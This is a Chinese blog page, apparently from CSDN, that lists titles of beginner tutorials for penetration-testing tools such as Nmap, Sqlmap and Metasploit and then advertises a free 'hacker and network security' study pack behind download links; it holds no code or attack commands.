网络安全/渗透测试入门掌握********渗透测试工具使用******必知必会**

2024版最新Kali Linux操作系统安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之渗透测试工具大全之Nmap安装使用命令指南,零基础入门到精通,收藏这一篇就够了

2024版最新AWVS安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新burpsuite安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新owasp_zap安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新Sqlmap安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新Metasploit安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新Nessus下载安装激活使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

2024版最新Wireshark安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了

觉得有用的话,希望粉丝朋友帮大白点个**「分享」「收藏」「在看」「赞」**

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值